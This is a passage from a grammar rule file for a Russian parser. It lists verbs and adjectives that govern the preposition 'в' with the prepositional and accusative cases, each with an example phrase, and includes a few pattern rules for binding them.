rus_verbs:скрывать{}, // скрывать в чужой квартире
rus_verbs:стиснуть{}, // стиснуть в стальных объятиях
rus_verbs:останавливаться{}, // останавливаться в гостинице
rus_verbs:мелькать{}, // мелькать в телевизоре
rus_verbs:присутствовать{}, // присутствовать в аудитории
rus_verbs:украсть{}, // украсть в магазине
rus_verbs:победить{}, // победить в войне
rus_verbs:расположиться{}, // расположиться в гостинице
rus_verbs:упомянуть{}, // упомянуть в своей книге
rus_verbs:плыть{}, // плыть в старой бочке
rus_verbs:нащупать{}, // нащупать в глубине
rus_verbs:проявляться{}, // проявляться в работе
rus_verbs:затихнуть{}, // затихнуть в норе
rus_verbs:построить{}, // построить в гараже
rus_verbs:поддерживать{}, // поддерживать в исправном состоянии
rus_verbs:заработать{}, // заработать в стартапе
rus_verbs:сломать{}, // сломать в суставе
rus_verbs:снимать{}, // снимать в гардеробе
rus_verbs:сохранить{}, // сохранить в коллекции
rus_verbs:располагаться{}, // располагаться в отдельном кабинете
rus_verbs:сражаться{}, // сражаться в честном бою
rus_verbs:спускаться{}, // спускаться в батискафе
rus_verbs:уничтожить{}, // уничтожить в схроне
rus_verbs:изучить{}, // изучить в естественных условиях
rus_verbs:рождаться{}, // рождаться в муках
rus_verbs:пребывать{}, // пребывать в прострации
rus_verbs:прилететь{}, // прилететь в аэробусе
rus_verbs:догнать{}, // догнать в переулке
rus_verbs:изобразить{}, // изобразить в танце
rus_verbs:проехать{}, // проехать в легковушке
rus_verbs:убедить{}, // убедить в разумности
rus_verbs:приготовить{}, // приготовить в духовке
rus_verbs:собирать{}, // собирать в лесу
rus_verbs:поплыть{}, // поплыть в катере
rus_verbs:доверять{}, // доверять в управлении
rus_verbs:разобраться{}, // разобраться в законах
rus_verbs:ловить{}, // ловить в озере
rus_verbs:проесть{}, // проесть в куске металла отверстие
rus_verbs:спрятаться{}, // спрятаться в подвале
rus_verbs:провозгласить{}, // провозгласить в речи
rus_verbs:изложить{}, // изложить в своём выступлении
rus_verbs:замяться{}, // замяться в коридоре
rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях
rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна
rus_verbs:хранить{}, // хранить в шкатулке
rus_verbs:шутить{}, // шутить в классе
глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях
инфинитив:рассыпаться{ aux stress="рассып^аться" },
rus_verbs:чертить{}, // чертить в тетрадке
rus_verbs:отразиться{}, // отразиться в аттестате
rus_verbs:греть{}, // греть в микроволновке
rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса
rus_verbs:рассуждать{}, // Автор рассуждает в своей статье
rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда
rus_verbs:окружать{}, // окружать в лесу
rus_verbs:сопровождать{}, // сопровождать в операции
rus_verbs:заканчиваться{}, // заканчиваться в дороге
rus_verbs:поселиться{}, // поселиться в загородном доме
rus_verbs:охватывать{}, // охватывать в хронологии
rus_verbs:запеть{}, // запеть в кино
инфинитив:провозить{вид:несоверш}, // провозить в багаже
глагол:провозить{вид:несоверш},
rus_verbs:мочить{}, // мочить в сортире
rus_verbs:перевернуться{}, // перевернуться в полёте
rus_verbs:улететь{}, // улететь в теплые края
rus_verbs:сдержать{}, // сдержать в руках
rus_verbs:преследовать{}, // преследовать в любой другой стране
rus_verbs:драться{}, // драться в баре
rus_verbs:просидеть{}, // просидеть в классе
rus_verbs:убираться{}, // убираться в квартире
rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения
rus_verbs:пугать{}, // пугать в прессе
rus_verbs:отреагировать{}, // отреагировать в прессе
rus_verbs:проверять{}, // проверять в аппарате
rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив
rus_verbs:летать{}, // летать в комфортабельном частном самолёте
rus_verbs:толпиться{}, // толпиться в фойе
rus_verbs:плавать{}, // плавать в специальном костюме
rus_verbs:пробыть{}, // пробыть в воде слишком долго
rus_verbs:прикинуть{}, // прикинуть в уме
rus_verbs:застрять{}, // застрять в лифте
rus_verbs:метаться{}, // метаться в кровате
rus_verbs:сжечь{}, // сжечь в печке
rus_verbs:расслабиться{}, // расслабиться в ванной
rus_verbs:услыхать{}, // услыхать в автобусе
rus_verbs:удержать{}, // удержать в вертикальном положении
rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы
rus_verbs:рассмотреть{}, // рассмотреть в капле воды
rus_verbs:просмотреть{}, // просмотреть в браузере
rus_verbs:учесть{}, // учесть в планах
rus_verbs:уезжать{}, // уезжать в чьей-то машине
rus_verbs:похоронить{}, // похоронить в мерзлой земле
rus_verbs:растянуться{}, // растянуться в расслабленной позе
rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке
rus_verbs:гулять{}, // гулять в парке
rus_verbs:утонуть{}, // утонуть в реке
rus_verbs:зажать{}, // зажать в медвежьих объятиях
rus_verbs:усомниться{}, // усомниться в объективности
rus_verbs:танцевать{}, // танцевать в спортзале
rus_verbs:проноситься{}, // проноситься в голове
rus_verbs:трудиться{}, // трудиться в кооперативе
глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке
инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный },
rus_verbs:сушить{}, // сушить в сушильном шкафу
rus_verbs:зашевелиться{}, // зашевелиться в траве
rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке
rus_verbs:промелькнуть{}, // промелькнуть в окне
rus_verbs:поучаствовать{}, // поучаствовать в обсуждении
rus_verbs:закрыть{}, // закрыть в комнате
rus_verbs:запирать{}, // запирать в комнате
rus_verbs:закрывать{}, // закрывать в доме
rus_verbs:заблокировать{}, // заблокировать в доме
rus_verbs:зацвести{}, // В садах зацвела сирень
rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу.
rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе
rus_verbs:стоять{}, // войска, стоявшие в Риме
rus_verbs:закалить{}, // ветераны, закаленные в боях
rus_verbs:выступать{}, // пришлось выступать в тюрьме.
rus_verbs:выступить{}, // пришлось выступить в тюрьме.
rus_verbs:закопошиться{}, // Мыши закопошились в траве
rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре
rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре
rus_verbs:закрываться{}, // закрываться в комнате
rus_verbs:провалиться{}, // провалиться в прокате
деепричастие:авторизируясь{ вид:несоверш },
глагол:авторизироваться{ вид:несоверш },
инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе
rus_verbs:существовать{}, // существовать в вакууме
деепричастие:находясь{},
прилагательное:находившийся{},
прилагательное:находящийся{},
глагол:находиться{ вид:несоверш },
инфинитив:находиться{ вид:несоверш }, // находиться в вакууме
rus_verbs:регистрировать{}, // регистрировать в инспекции
глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш },
инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции
rus_verbs:поковыряться{}, // поковыряться в носу
rus_verbs:оттаять{}, // оттаять в кипятке
rus_verbs:распинаться{}, // распинаться в проклятиях
rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России
rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе
rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения.
прилагательное:несчастный{}, // Он очень несчастен в семейной жизни.
rus_verbs:объясниться{}, // Он объяснился в любви.
прилагательное:нетвердый{}, // Он нетвёрд в истории.
rus_verbs:заниматься{}, // Он занимается в читальном зале.
rus_verbs:вращаться{}, // Он вращается в учёных кругах.
прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне.
rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры.
rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения.
rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев.
rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия
rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях.
rus_verbs:продолжать{}, // Продолжайте в том же духе.
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:болтать{}, // Не болтай в присутствии начальника!
rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника!
rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей
rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию
rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине.
rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах
rus_verbs:сходиться{}, // Все дороги сходятся в Москве
rus_verbs:убирать{}, // убирать в комнате
rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста
rus_verbs:уединяться{}, // уединяться в пустыне
rus_verbs:уживаться{}, // уживаться в одном коллективе
rus_verbs:укорять{}, // укорять друга в забывчивости
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы
rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем
rus_verbs:работать{}, // Я работаю в театре.
rus_verbs:признать{}, // Я признал в нём старого друга.
rus_verbs:преподавать{}, // Я преподаю в университете.
rus_verbs:понимать{}, // Я плохо понимаю в живописи.
rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах
rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа
rus_verbs:замереть{}, // вся толпа замерла в восхищении
rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле.
rus_verbs:идти{}, // Я иду в неопределённом направлении.
rus_verbs:заболеть{}, // Я заболел в дороге.
rus_verbs:ехать{}, // Я еду в автобусе
rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю.
rus_verbs:провести{}, // Юные годы он провёл в Италии.
rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти.
rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении.
rus_verbs:произойти{}, // Это произошло в одном городе в Японии.
rus_verbs:привидеться{}, // Это мне привиделось во сне.
rus_verbs:держаться{}, // Это дело держится в большом секрете.
rus_verbs:привиться{}, // Это выражение не привилось в русском языке.
rus_verbs:восстановиться{}, // Эти писатели восстановились в правах.
rus_verbs:быть{}, // Эта книга есть в любом книжном магазине.
прилагательное:популярный{}, // Эта идея очень популярна в массах.
rus_verbs:шуметь{}, // Шумит в голове.
rus_verbs:остаться{}, // Шляпа осталась в поезде.
rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях.
rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе.
rus_verbs:пересохнуть{}, // У меня в горле пересохло.
rus_verbs:щекотать{}, // У меня в горле щекочет.
rus_verbs:колоть{}, // У меня в боку колет.
прилагательное:свежий{}, // Событие ещё свежо в памяти.
rus_verbs:собрать{}, // Соберите всех учеников во дворе.
rus_verbs:белеть{}, // Снег белеет в горах.
rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте?
rus_verbs:таять{}, // Сахар тает в кипятке.
rus_verbs:жать{}, // Сапог жмёт в подъёме.
rus_verbs:возиться{}, // Ребята возятся в углу.
rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме.
rus_verbs:кружиться{}, // Они кружились в вальсе.
rus_verbs:выставлять{}, // Они выставляют его в смешном виде.
rus_verbs:бывать{}, // Она часто бывает в обществе.
rus_verbs:петь{}, // Она поёт в опере.
rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях.
rus_verbs:валяться{}, // Вещи валялись в беспорядке.
rus_verbs:пройти{}, // Весь день прошёл в беготне.
rus_verbs:продавать{}, // В этом магазине продают обувь.
rus_verbs:заключаться{}, // В этом заключается вся сущность.
rus_verbs:звенеть{}, // В ушах звенит.
rus_verbs:проступить{}, // В тумане проступили очертания корабля.
rus_verbs:бить{}, // В саду бьёт фонтан.
rus_verbs:проскользнуть{}, // В речи проскользнул упрёк.
rus_verbs:оставить{}, // Не оставь товарища в опасности.
rus_verbs:прогулять{}, // Мы прогуляли час в парке.
rus_verbs:перебить{}, // Мы перебили врагов в бою.
rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице.
rus_verbs:видеть{}, // Он многое видел в жизни.
// глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере.
rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах.
rus_verbs:кинуть{}, // Он кинул меня в беде.
rus_verbs:приходить{}, // Приходи в сентябре
rus_verbs:воскрешать{}, // воскрешать в памяти
rus_verbs:соединять{}, // соединять в себе
rus_verbs:разбираться{}, // умение разбираться в вещах
rus_verbs:делать{}, // В её комнате делали обыск.
rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина.
rus_verbs:начаться{}, // В деревне начались полевые работы.
rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль.
rus_verbs:вертеться{}, // В голове вертится вчерашний разговор.
rus_verbs:веять{}, // В воздухе веет прохладой.
rus_verbs:висеть{}, // В воздухе висит зной.
rus_verbs:носиться{}, // В воздухе носятся комары.
rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее
rus_verbs:воскресить{}, // воскресить в памяти
rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне
rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина
прилагательное:уверенный{ причастие }, // Она уверена в своих силах.
прилагательное:постоянный{}, // Она постоянна во вкусах.
прилагательное:сильный{}, // Он не силён в математике.
прилагательное:повинный{}, // Он не повинен в этом.
прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары
rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории
прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве.
rus_verbs:сесть{}, // Она села в тени
rus_verbs:заливаться{}, // в нашем парке заливаются соловьи
rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло
rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени
// rus_verbs:расти{}, // дерево, растущее в лесу
rus_verbs:происходить{}, // что происходит в поликлиннике
rus_verbs:спать{}, // кто спит в моей кровати
rus_verbs:мыть{}, // мыть машину в саду
ГЛ_ИНФ(царить), // В воздухе царило безмолвие
ГЛ_ИНФ(мести), // мести в прихожей пол
ГЛ_ИНФ(прятать), // прятать в яме
ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне.
// ГЛ_ИНФ(собраться), // собраться в порту
ГЛ_ИНФ(случиться), // что-то случилось в больнице
ГЛ_ИНФ(зажечься), // в небе зажглись звёзды
ГЛ_ИНФ(купить), // купи молока в магазине
прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР
}
// Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } }
then return true
}
// С локативом:
// собраться в порту
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } }
then return true
}
#endregion Предложный
#region Винительный
// Для глаголов движения с выраженным направлением действия может присоединяться
// предложный паттерн с винительным падежом.
wordentry_set Гл_В_Вин =
{
rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок.
глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе.
глагол:ввергать{},
инфинитив:ввергнуть{},
инфинитив:ввергать{},
rus_verbs:двинуться{}, // Двинулись в путь и мы.
rus_verbs:сплавать{}, // Сплавать в Россию!
rus_verbs:уложиться{}, // Уложиться в воскресенье.
rus_verbs:спешить{}, // Спешите в Лондон
rus_verbs:кинуть{}, // Киньте в море.
rus_verbs:проситься{}, // Просилась в Никарагуа.
rus_verbs:притопать{}, // Притопал в Будапешт.
rus_verbs:скататься{}, // Скатался в Красноярск.
rus_verbs:соскользнуть{}, // Соскользнул в пике.
rus_verbs:соскальзывать{},
rus_verbs:играть{}, // Играл в дутье.
глагол:айда{}, // Айда в каморы.
rus_verbs:отзывать{}, // Отзывали в Москву...
rus_verbs:сообщаться{}, // Сообщается в Лондон.
rus_verbs:вдуматься{}, // Вдумайтесь в них.
rus_verbs:проехать{}, // Проехать в Лунево...
rus_verbs:спрыгивать{}, // Спрыгиваем в него.
rus_verbs:верить{}, // Верю в вас!
rus_verbs:прибыть{}, // Прибыл в Подмосковье.
rus_verbs:переходить{}, // Переходите в школу.
rus_verbs:доложить{}, // Доложили в Москву.
rus_verbs:подаваться{}, // Подаваться в Россию?
rus_verbs:спрыгнуть{}, // Спрыгнул в него.
rus_verbs:вывезти{}, // Вывезли в Китай.
rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю.
rus_verbs:пропихнуть{},
rus_verbs:транспортироваться{},
rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения
rus_verbs:дуть{},
rus_verbs:БОГАТЕТЬ{}, //
rus_verbs:РАЗБОГАТЕТЬ{}, //
rus_verbs:ВОЗРАСТАТЬ{}, //
rus_verbs:ВОЗРАСТИ{}, //
rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ)
rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ)
rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ)
rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ)
rus_verbs:ЗАМАНИВАТЬ{},
rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ)
rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ)
rus_verbs:ВРУБАТЬСЯ{},
rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ)
rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ)
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ)
rus_verbs:ЗАХВАТЫВАТЬ{},
rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ)
rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ)
rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ)
rus_verbs:ПОСТРОИТЬСЯ{},
rus_verbs:ВЫСТРОИТЬСЯ{},
rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ)
rus_verbs:ВЫПУСКАТЬ{},
rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ)
rus_verbs:ВЦЕПИТЬСЯ{},
rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ)
rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ)
rus_verbs:ОТСТУПАТЬ{},
rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ)
rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ)
rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ)
rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ)
rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ)
rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин)
rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ)
rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ)
rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ)
rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ)
rus_verbs:СЖИМАТЬСЯ{},
rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение
rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ)
rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ)
rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ)
rus_verbs:ПОКРАСИТЬ{}, //
rus_verbs:ПЕРЕКРАСИТЬ{}, //
rus_verbs:ОКРАСИТЬ{}, //
rus_verbs:ЗАКРАСИТЬ{}, //
rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ)
rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ)
rus_verbs:СТЯНУТЬ{}, //
rus_verbs:ЗАТЯНУТЬ{}, //
rus_verbs:ВТЯНУТЬ{}, //
rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ)
деепричастие:придя{}, // Немного придя в себя
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ)
rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ)
rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ)
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ)
rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ)
rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку
rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин)
rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин)
rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин)
rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин)
rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин)
rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин)
rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин)
rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В)
rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В)
rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В)
rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В)
rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин)
rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В)
rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В)
rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин)
rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В)
rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В)
rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В)
rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В)
rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В)
rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В)
rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В)
rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В)
rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В)
rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны.
rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В)
rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям.
rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В)
rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в)
rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В)
rus_verbs:валить{}, // валить все в одну кучу (валить в)
rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в)
rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в)
rus_verbs:клониться{}, // он клонился в сторону (клониться в)
rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в)
rus_verbs:запасть{}, // Эти слова запали мне в душу.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:ездить{}, // Каждый день грузовик ездит в город.
rus_verbs:претвориться{}, // Замысел претворился в жизнь.
rus_verbs:разойтись{}, // Они разошлись в разные стороны.
rus_verbs:выйти{}, // Охотник вышел в поле с ружьём.
rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом.
rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны
rus_verbs:переодеваться{}, // переодеваться в женское платье
rus_verbs:перерастать{}, // перерастать в массовые беспорядки
rus_verbs:завязываться{}, // завязываться в узел
rus_verbs:похватать{}, // похватать в руки
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:помещать{}, // помещать в изолятор
rus_verbs:зыркнуть{}, // зыркнуть в окошко
rus_verbs:закатать{}, // закатать в асфальт
rus_verbs:усаживаться{}, // усаживаться в кресло
rus_verbs:загонять{}, // загонять в сарай
rus_verbs:подбрасывать{}, // подбрасывать в воздух
rus_verbs:телеграфировать{}, // телеграфировать в центр
rus_verbs:вязать{}, // вязать в стопы
rus_verbs:подлить{}, // подлить в огонь
rus_verbs:заполучить{}, // заполучить в распоряжение
